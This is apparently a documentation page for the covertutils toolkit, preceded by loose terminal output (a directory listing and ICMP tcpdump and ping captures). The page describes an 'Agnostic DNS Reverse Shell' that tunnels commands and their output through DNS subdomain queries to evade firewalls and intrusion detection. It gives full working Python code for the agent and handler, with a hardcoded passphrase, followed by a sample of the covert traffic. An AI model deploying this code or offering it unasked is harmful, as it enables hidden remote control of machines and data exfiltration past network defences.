drwxr-xr-x 2 unused unused 4096 Jun 2 13:42 dist
drwxr-xr-x 4 unused unused 4096 Jun 14 21:15 docs
drwxr-xr-x 3 unused unused 4096 Jun 2 13:42 .eggs
drwxr-xr-x 2 unused unused 4096 Jun 15 05:47 examples
drwxr-xr-x 8 unused unused 4096 Jun 15 06:03 .git
-rw-r--r-- 1 unused unused 129 Jun 2 13:42 .gitignore
drwxr-xr-x 2 unused unused 4096 Jun 8 14:10 htmlcov
-rw-r--r-- 1 unused unused 1107 Jun 8 12:20 makefile
-rw-r--r-- 1 unused unused 1509 Jun 14 23:13 MANIFEST
-rw-r--r-- 1 unused unused 36 Jun 2 13:42 MANIFEST.in
-rw-r--r-- 1 unused unused 845 Jun 8 14:19 shell_manual_test.py
drwxr-xr-x 2 unused unused 4096 Jun 8 16:11 __pycache__
-rw------- 1 unused unused 242 Jun 2 13:42 .pypirc
-rw-r--r-- 1 unused unused 3678 Jun 2 13:42 README.md
-rw-r--r-- 1 unused unused 8 Jun 3 10:40 requirements.txt
-rw-r--r-- 1 unused unused 755 Jun 2 13:42 setup.py
-rw-r--r-- 1 unused unused 865 Jun 3 10:32 setup.pyc
drwxr-xr-x 3 unused unused 4096 Jun 14 20:42 tests
drwxr-xr-x 6 unused unused 4096 Jun 2 13:42 .tox
-rw-r--r-- 1 unused unused 385 Jun 2 13:42 tox.ini
-rw-r--r-- 1 unused unused 329 Jun 2 13:42 .travis.yml
(covertutils v0.1.1)[main]>
Really Control-C [y/N]? y
Aborted by the user...
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:31:54.810249 IP (tos 0x0, ttl 64, id 39362, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 1, length 64
08:31:54.862667 IP (tos 0x0, ttl 64, id 36489, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 1, length 64
08:31:54.990472 IP (tos 0x0, ttl 64, id 53551, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 2, length 64
08:31:55.018247 IP (tos 0x0, ttl 64, id 48089, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 2, length 64
08:31:55.165880 IP (tos 0x0, ttl 64, id 53467, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 3, length 64
08:31:55.205429 IP (tos 0x0, ttl 64, id 40848, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 3, length 64
08:31:55.362147 IP (tos 0x0, ttl 64, id 55081, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 4, length 64
08:31:55.390401 IP (tos 0x0, ttl 64, id 39089, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 4, length 64
08:31:55.525458 IP (tos 0x0, ttl 64, id 38271, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 5, length 64
08:31:55.554284 IP (tos 0x0, ttl 64, id 28862, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 5, length 64
08:31:55.697674 IP (tos 0x0, ttl 64, id 53618, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 6, length 64
08:31:55.733123 IP (tos 0x0, ttl 64, id 38177, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 6, length 64
08:31:55.878168 IP (tos 0x0, ttl 64, id 28090, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 7, length 64
08:31:55.909602 IP (tos 0x0, ttl 64, id 17611, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel
Linux Ping Traffic
ping -c 7 127.0.0.5
PING 127.0.0.5 (127.0.0.5) 56(84) bytes of data.
64 bytes from 127.0.0.5: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 127.0.0.5: icmp_seq=2 ttl=64 time=0.047 ms
64 bytes from 127.0.0.5: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=4 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=5 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=6 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=7 ttl=64 time=0.052 ms
--- 127.0.0.5 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6149ms
rtt min/avg/max/mdev = 0.031/0.048/0.053/0.007 ms
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:23:43.511965 IP (tos 0x0, ttl 64, id 65001, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 1, length 64
08:23:43.511975 IP (tos 0x0, ttl 64, id 34349, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 1, length 64
08:23:44.541260 IP (tos 0x0, ttl 64, id 65026, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 2, length 64
08:23:44.541273 IP (tos 0x0, ttl 64, id 34539, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 2, length 64
08:23:45.565248 IP (tos 0x0, ttl 64, id 65215, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 3, length 64
08:23:45.565262 IP (tos 0x0, ttl 64, id 34742, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 3, length 64
08:23:46.588884 IP (tos 0x0, ttl 64, id 65448, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 4, length 64
08:23:46.588898 IP (tos 0x0, ttl 64, id 34956, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 4, length 64
08:23:47.612154 IP (tos 0x0, ttl 64, id 65491, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 5, length 64
08:23:47.612167 IP (tos 0x0, ttl 64, id 35125, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 5, length 64
08:23:48.636315 IP (tos 0x0, ttl 64, id 131, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 6, length 64
08:23:48.636328 IP (tos 0x0, ttl 64, id 35315, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 6, length 64
08:23:49.661129 IP (tos 0x0, ttl 64, id 151, offset 0, flags [DF], proto ICMP (1), length 84)
127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 7, length 64
08:23:49.661142 IP (tos 0x0, ttl 64, id 35362, offset 0, flags [none], proto ICMP (1), length 84)
127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel
It is no copy-paste
You can say from the IP identification fields…
Agnostic DNS Reverse Shell¶
The DNS Reverse Shell uses a kind of Communication Channel that can bypass most Firewalls/Traffic Inpectors/I[DP]S.
It uses the main feature of the DNS protocol, delegation, to route its traffic from the Agent to the Handler - without a hardcoded IP or Domain Name in the Agent.
- For this Shell to work, there are the following Handler (only) requirements:
- root permissions to bind to UDP port 53 (DNS)
- A Domain name
- Public IP
OR
- A PortForwarded
53 UDP port
to a Public IP.
The Agent has no requirements to work.
The Concept¶
When a host issues a DNS request for a domain name (e.g test.www.securosophy.com
), the DNS request packet is send (typically using UDP) to the first Nameserver registered to the host.
This Nameserver tries to resolve the domain name to an IP address, by querying or asking the initial host to query other Nameservers.
Every Nameserver queried after the initial one will point towards another Nameserver that knows about the specific subdomain asked.
The trick lies on using a subdomain name as Data, and make a request that will eventually end up on a Nameserver that the user controls (that’s the Handler)!
The Setup¶
Handler - Server¶
Given a purchased domain name (e.g example.com
), a subdomain can be created (e.g sub.example.com
).
Then, modifying the NS records for sub.example.com
to point to a subdomain like ns1.example.com
will return the Authoritative Nameserver for all requests in sub.example.com
(e.g test1.sub.example.com
, random-whatever.sub.example.com
) to be ns1.example.com
.
So, setting the A
(or AAAA
) of ns1.example.com
to the Handler’s Public IP (or NAT’d Public IP with PortForward), will route every (non-cached) request to sub.example.com
subdomain to the Handler’s IP address.
Agent - Client¶
The Agent uses getaddrinfo()
OS API call to query for subdomains.
Using an OS API call has the advantage that the process does not send a UDP packet itself, hence it uses no socket programming.
The data exfiltration is happening (traditionally) by subdomain names (e.g cmFuZG9tIGRhdGEK.sub.example.com
). The queries for those subdomains are always routed to the Authoritative Nameserver (as they contain random parts and cannot be cached), so the data always reaches the Handler.
The Handler packs data in IPv6 addresses (16 byte chunks), and responds with a legitimate DNS reply.
The Code¶
Agent - Client¶
#!/usr/bin/env python
#============================== Imports part =============================
from covertutils.handlers import InterrogatingHandler
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import SimpleOrchestrator
from os import urandom
from time import sleep
import sys
import socket
try :
import Queue as queue
except :
import queue
#============================== Handler Overriding part ===================
class ShellHandler ( InterrogatingHandler, StandardShellHandler ) :
def __init__( self, recv, send, orch ) :
super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments
fetch_stream = 'control', # argument from 'InterrogatingHandler'
stage_stream = 'stage',
delay_between = (0.0, 3), # argument from 'InterrogatingHandler'
) # The arguments will find their corresponding class and update the default values
def onChunk( self, stream, message ) : print "Chunk!" # If a part of a message arrives - do nothing.
def onMessage( self, stream, message ) : # If a message arrives
if message != 'X' : # If message is not the 'no data available' flag :
output = super(ShellHandler, self).onMessage( stream, message ) # Run the received message
#through the corresponding function
print output
print( "[+] Command Run - generated %d bytes of output!" % len(bytes(output)) )
self.queueSend( output, stream ) # Queue the output to send in next interval
# pass
def onNotRecognised( self ) : print( "[!] < Unrecognised >" )
#==========================================================================
#============================== Networking part ===========================
# The subdomain whose authoritative DNS is the Handler Host
base_domain = sys.argv[1] # called as 'python Client.py sub.securosophy.net
recv_queue = queue.Queue()
def encode_payload( data ) :
'''
"</SECRET>" becomes PFNFQ1JFVC8_Cg
'''
enc_data = data.encode('base64').replace("=", "").replace("/","-").replace("+","_").strip()
return enc_data
def send( raw ) :
enc = encode_payload( raw )
payload = "%s.%s" % (enc, base_domain) # urandom(1).encode('hex')
print payload
try :
# resp = socket.gethostbyname( payload )
resp = socket.getaddrinfo(payload, 80)
recv_queue.put(resp)
except Exception as e:
# print e
print "Couldn't resolve", e
def recv( ) :
global resp_queue
resp = recv_queue.get()
total_resp = ''
# Parse both IPv4 and IPv6 addresses
for x in resp :
try :
d = socket.inet_pton(socket.AF_INET6, x[4][0])
total_resp += d
except :
d = socket.inet_pton(socket.AF_INET, x[4][0])
recv_queue.task_done
if not total_resp : total_resp = urandom(16)
resp = None
return total_resp[:16]
#==========================================================================
#=============================Handler Creation=============================
passphrase = "App1e5&0raNg3s" # This is used to generate encryption keys
orch = SimpleOrchestrator( passphrase,
reverse = False, # For 2 Orchestrator objects to be compatible one must have 'reverse = True'
tag_length = 2, # The tag length in bytes
out_length = 35, # The absolute output byte length (with tags)
in_length = 16, # The absolute input byte length (with tags)
# streams = ['heartbeat'], # Stream 'control' will be automatically added as failsafe mechanism
)
handler = ShellHandler( recv, send, orch )
#==========================================================================
# Wait forever as all used threads are daemonized
while True : sleep(10)
# Magic!
Handler - Server¶
#!/usr/bin/env python
#============================== Imports part =============================
from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.shells.impl import StandardShell, ExtendableShell, SimpleShell
from threading import Thread # Need a thread for running a sniffer
from time import sleep # I spin lock a lot
from random import randint # Generating ICMP and IP id fields needs randomness
from struct import pack # packing a unixtime in Pings is key
import time # used for unixtime
from os import urandom
import sys # Used for arguments
from dnslib import RR,QTYPE,RCODE,TXT,parse_time,AAAA,A
from dnslib.label import DNSLabel
from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger
import socket
try :
import Queue as queue
except :
import queue
# passphrase = sys.argv[2] # The passphrase the agent uses
passphrase = "App1e5&0raNg3s" # This is used to generate encryption keys
dns_data = queue.Queue()
dns_reply = queue.Queue()
def decode_payload( data ) :
enc_data = data.replace("-","/").replace("_","+").strip()
for i in range(2) :
try :
return enc_data.decode('base64')
except Exception as e:
# Appends '=' if data could not be decoded
enc_data += '='
class HandlerResolver(BaseResolver):
def __init__(self,origin,ttl):
self.origin = DNSLabel(origin)
self.ttl = parse_time(ttl)
def resolve(self,request,handler):
global dns_data
global dns_reply
reply = request.reply()
qname = request.q.qname
qname_str = str(qname)
enc_data = qname_str.split('.')[0]
data = decode_payload(enc_data)
if request.q.qtype == QTYPE.A : # The A version of the query
# orig_response = gethostbyname()
reply.add_answer(RR(qname,QTYPE.A,ttl=self.ttl,
rdata=A('127.0.0.1')))
if request.q.qtype == QTYPE.AAAA : # The A version of the query
if data :
dns_data.put(data)
try :
data = dns_reply.get( False, 2 )
dns_reply.task_done()
except Exception as e :
print "Sending Random data < for '%s'" % qname_str
data = urandom(16)
aaaa_repl = socket.inet_ntop(socket.AF_INET6, data)
reply.add_answer(RR(qname,QTYPE.AAAA,ttl=self.ttl,
rdata=AAAA(aaaa_repl)))
# print reply
# print "Replying to query for '%s" % qname_str
return reply
import logging
resolver = HandlerResolver('.', '60s')
logger = DNSLogger('-request,-reply,-truncated,-error,-recv,-send,-data', '')
udp_server = DNSServer(resolver,
port= 53,
# port= 5353,
# address=args.address,
logger=logger
)
udp_server.start_thread()
# #============================== Networking part ===========================
# # The networking is handled by Python and Scapy. No 'covertutils' code here...
def recv( ) : # Networking Wrapper function needed for the handler
global dns_data
pkt = dns_data.get() # Get the first packet
dns_data.task_done()
return pkt # Return the raw data to Handler
def send( raw_data ) : # Networking Wrapper function needed for the handler
global dns_reply
dns_reply.put(raw_data)
# #==========================================================================
# #============================== Handler Overriding part ===================
# ResponseOnlyHandler because the Agent never sends packets adHoc but only as responses
class Handler( ResponseOnlyHandler ) :
def onMessage( self, stream, message ) : # When a Message arrives
# If the Parent Class would respond (the message was a request), don't bother responding
responded = super( Handler, self ).onMessage( stream, message )
if not responded : # If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
self.queueSend("X", 'control'); # Make it respond anyway with 'X' (see Client)
responded = super( Handler, self ).onMessage( stream, message )
assert responded == True # This way we know it responsed!
def onChunk( self, stream, message ) : # When a Chunk arrives
if not message : # If it is not a complete message (but a part of one)
self.queueSend( self.request_data, stream ) # Add a message to the send queue
resp = ResponseOnlyHandler.onMessage( self, stream, self.request_data ) # Run the ResponseOnlyHandler onMessage
# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)
def onNotRecognised( self ) : # When Junk arrives
pass # Do nothing
#==========================================================================
# #=============================Handler Creation=============================
orchestrator = SimpleOrchestrator( passphrase, # Encryption keys generated from the passphrase
tag_length = 2, # The tag length in bytes
out_length = 16, # The absolute output byte length (with tags)
in_length = 35, # The absolute input byte length (with tags)
# streams = ['heartbeat'], # Stream 'control' will be automatically added as failsafe mechanism
reverse = True ) # Reverse the encryption channels - Agent has `reverse = False`
handler = Handler( recv, send, orchestrator, request_data = 'X' ) # Instantiate the Handler object. Finally!
#==========================================================================
#============================== Shell Design part ========================
shell = ExtendableShell( handler, ignore_messages = 'X' ) # 'X' is used for polling
shell.start( False )
import os
os._exit(-1)
udp_server.stop_thread()
#==========================================================================
# Magic!
Traffic Sample¶
An ls -l
command generated the below traffic sample:
08:57:56.335632 IP localhost.34452 > localhost.domain: 21061+ A? -WG-FGeH5tX2foLCoUsmnG2zLY4w3qCxa5vkNVLZzKDmrPc.sub.securosophy.net. (85)
08:57:56.335656 IP localhost.34452 > localhost.domain: 47771+ AAAA? -WG-FGeH5tX2foLCoUsmnG2zLY4w3qCxa5vkNVLZzKDmrPc.sub.securosophy.net. (85)
08:57:56.336439 IP localhost.domain > localhost.34452: 21061* 1/0/0 A 127.0.0.1 (101)
08:57:56.338222 IP localhost.domain > localhost.34452: 47771* 1/0/0 AAAA 8e97:1e62:7a43:6c52:29a:5b7b:de76:5ad1 (113)
08:57:56.338582 IP localhost.59587 > localhost.domain: 35582+ A? IZ7s-G-BDvH0w-LAMDGU8b-oQ-B111HmuYOihmg7pSCN7Pk.sub.securosophy.net. (85)
08:57:56.338605 IP localhost.59587 > localhost.domain: 56935+ AAAA? IZ7s-G-BDvH0w-LAMDGU8b-oQ-B111HmuYOihmg7pSCN7Pk.sub.securosophy.net. (85)
08:57:56.343726 IP localhost.domain > localhost.59587: 35582* 1/0/0 A 127.0.0.1 (101)
08:57:56.343830 IP localhost.domain > localhost.59587: 56935* 1/0/0 AAAA b407:3c69:72e2:429e:3ea6:2ee6:31b4:8cc1 (113)
08:57:56.344491 IP localhost.37893 > localhost.domain: 43966+ A? OelscC7CUHrepHj3JhvI0MkXQ-gY2K6J1VoYFOitM1rgFAE.sub.securosophy.net. (85)
08:57:56.344663 IP localhost.37893 > localhost.domain: 19997+ AAAA? OelscC7CUHrepHj3JhvI0MkXQ-gY2K6J1VoYFOitM1rgFAE.sub.securosophy.net. (85)
08:57:56.346375 IP localhost.domain > localhost.37893: 43966* 1/0/0 A 127.0.0.1 (101)
08:57:56.349638 IP localhost.domain > localhost.37893: 19997* 1/0/0 AAAA dade:6d79:e5dd:43b:dfd:94d:9298:aa2b (113)